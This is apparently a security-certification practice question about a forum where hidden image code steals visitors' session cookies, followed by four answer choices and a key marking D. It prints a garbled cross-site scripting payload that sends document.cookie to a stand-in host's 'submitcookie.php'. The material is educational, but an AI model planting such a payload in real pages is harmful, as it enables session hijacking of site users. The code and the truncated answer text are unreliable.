document.writef<img src="https://Ioca(host/submitcookie.php?

Judy created a forum, one day. she discovers that a user is posting strange images without writing comments.

She immediately calls a security expert, who discovers that the following code is hidden behind those images:

<script>

document.writef<img src="https://Ioca(host/submitcookie.php? cookie =’+ escape(document.cookie)+ " />); </script>

What issue occurred for the users who clicked on the image?
A . The code inject a new cookie to the browser.
B . The code redirects the user to another site.
C . The code is a virus that is attempting to gather the users username and password.
D . This php file silently executes the code and grabs the users session cookie and session I

Answer: D

Subscribe
Notify of
guest
0 Comments
Inline Feedbacks
View all comments